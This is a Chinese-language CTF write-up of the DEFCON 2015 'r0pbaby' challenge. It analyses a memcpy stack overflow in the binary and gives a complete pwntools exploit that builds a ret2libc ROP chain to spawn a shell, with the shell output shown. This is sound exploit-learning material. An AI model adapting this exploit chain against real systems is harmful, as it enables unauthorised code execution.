文章目录
		
			
		
		
		
		这是DEFCON CTF 2015中的一道题,经典的ROP利用。首先我们看一下这个bin文件的一些信息,它是一个64位的ELF文件
| 1 2
 | $ file r0pbaby_542ee6516410709a1421141501f03760  r0pbaby_542ee6516410709a1421141501f03760: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
 | 
我们用查看它都开了什么保护,结果发现开了数据执行保护和地址空间布局随机化保护。
| 1 2 3 4 5 6
 | gdb-peda$ checksec  CANARY    : disabled FORTIFY   : ENABLED NX        : ENABLED PIE       : ENABLED RELRO     : disabled
 | 
我们现在来还原实验环境,首先使用socat将它绑定在本地的1234端口
| 1
 | $ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"./r0pbaby_542ee6516410709a1421141501f03760"
 | 
我们用nc链接,看一下它的执行流程。这个程序有四个选项,选项1是获得libc address;选项2是获得function函数在程序的真实地址;选项3是一个buffer,允许最多写入1024个字节;选项4是退出程序。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
 | $ nc localhost 1234 Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 1 libc.so.6: 0x00007FF8A8D009B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: sytem Symbol sytem: 0x0000000000000000 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 4 Exiting.
 | 
接下来我们用IDA分析一下这个伪代码。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) {   signed int v3; // eax@4   unsigned __int64 v4; // r14@15   int v5; // er13@17   size_t v6; // r12@17   int v7; // eax@18   void *handle; // [sp+8h] [bp-448h]@1   char nptr[1088]; // [sp+10h] [bp-440h]@2   __int64 savedregs; // [sp+450h] [bp+0h]@22   setvbuf(stdout, 0LL, 2, 0LL);   signal(14, handler);   alarm(0x3Cu);   puts("\nWelcome to an easy Return Oriented Programming challenge...");   puts("Menu:");   handle = dlopen("libc.so.6", 1);   while ( 1 )   {     while ( 1 )     {       while ( 1 )       {         while ( 1 )         {           sub_BF7();           if ( !sub_B9A((__int64)nptr, 1024LL) )           {             puts("Bad choice.");             return 0LL;           }           v3 = strtol(nptr, 0LL, 10);           if ( v3 != 2 )             break;           __printf_chk(1LL, "Enter symbol: ");           if ( sub_B9A((__int64)nptr, 64LL) )           {             dlsym(handle, nptr);             __printf_chk(1LL, "Symbol %s: 0x%016llX\n");           }           else           {             puts("Bad symbol.");           }         }         if ( v3 > 2 )           break;         if ( v3 != 1 )           goto LABEL_24;         __printf_chk(1LL, "libc.so.6: 0x%016llX\n");       }       if ( v3 != 3 )         break;       __printf_chk(1LL, "Enter bytes to send (max 1024): ");       sub_B9A((__int64)nptr, 1024LL);       v4 = (signed int)strtol(nptr, 0LL, 10);       if ( v4 - 1 > 0x3FF )       {         puts("Invalid amount.");       }       else       {         if ( v4 )         {           v5 = 0;           v6 = 0LL;           while ( 1 )           {             v7 = _IO_getc(stdin);             if ( v7 == -1 )               break;             nptr[v6] = v7;             v6 = ++v5;             if ( v4 <= v5 )               goto LABEL_22;           }           v6 = v5 + 1;         }         else         {           v6 = 0LL;         } LABEL_22:         memcpy(&savedregs, nptr, v6);       }     }     if ( v3 == 4 )       break; LABEL_24:     puts("Bad choice.");   }   dlclose(handle);   puts("Exiting.");   return 0LL; }
 | 
我们发现memcpy这个函数从源nptr所指的内存地址的起始位置开始拷贝v6个字节到目标&savedregs所指的内存地址的起始位置中,这个位置存在缓存区溢出漏洞
| 1
 | memcpy(&savedregs, nptr, v6);
 | 
我们查看savedregs的结构,发现savedregs保存了栈帧的指针和函数的返回地址
| 1 2 3 4
 | +0000000000000000  s              db 8 dup(?) +0000000000000008  r              db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
 | 
因此我们首先输入的qword字节会覆盖旧的rbp,第二个qword字节会改写返回地址。因为这个程序开了NX+ASLR+PIE保护,所以我们构造一个rop-chain。构造rop-chain主要有下面几个步骤:
- 用一个gadget将/bin/sh写入rdi寄存器
- 获得字符串“bin/sh”的地址
- 获得system函数的地址
我们查看一下这个程序运行时加载的动态链接库是哪个版本的。
| 1 2 3 4 5
 | $ ldd r0pbaby_542ee6516410709a1421141501f03760  	linux-vdso.so.1 =>  (0x00007ffdfc4df000) 	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa9d4eb8000) 	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa9d4af3000) 	/lib64/ld-linux-x86-64.so.2 (0x000055ed9370d000)
 | 
首先我们获得一个 pop rdi ret 的gadget
| 1 2 3 4
 | $ ROPgadget --binary libc.so.6 --only "pop|ret"| grep rdi 0x000000000001f826 : pop rdi ; pop rbp ; ret 0x0000000000022b9a : pop rdi ; ret 0x0000000000116d5d : pop rdi ; ret 0x2a
 | 
接着在libc.so.6中获得bin_sh和system的偏移地址
| 1 2
 | bin_sh_offset = 0x17c8c3 system_offset = 0x46590
 | 
exploit如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
 | from pwn import * p =remote('localhost',1234) rdi_gadget_offset = 0x22b9a  bin_sh_offset = 0x17c8c3 system_offset = 0x46590    def get_fun_addr(p,function):   p.send("2\n")   msg = p.recvuntil("Enter symbol: ")   p.send(function+"\n")   msg = p.recvuntil("4) Exit\n: ")   offset = msg.find(":")   offset2 = msg.find("\n")   addr = int(msg[offset+2: offset2],16)   return addr    def rop_buffer(p,playload):   p.send('3\n')   p.recvuntil('Enter bytes to send (max 1024): ')   playload_len = str(len(playload))   p.send(playload_len + '\n')   p.send(playload + '\n')   return    p.recvuntil(':') system_addr = get_fun_addr(p,'system') offset = system_addr - system_offset print "system_addr:0x%x " % system_addr rdi_gadget_addr = rdi_gadget_offset + offset print "rdi_get_addr:0x%x " % rdi_gadget_addr bin_sh_addr = bin_sh_offset + offset print "bin_sh_addr: 0x%x" % bin_sh_addr      playload = "A"*8 + p64(rdi_gadget_addr) + p64(bin_sh_addr) + p64(system_addr) rop_buffer(p,playload)      p.interactive()
 | 
结果如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
 | $ python r0pbaby.py  [+] Opening connection to localhost on port 1234: Done system_addr:0x7f9261f70590  rdi_get_addr:0x7f9261f4cb9a  bin_sh_addr: 0x7f92620a68c3 [*] Switching to interactive mode 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. $ whoami longlong $ ls libc.so.6 peda-session-dash.txt r0pbaby_542ee6516410709a1421141501f03760 r0pbaby.py $
 |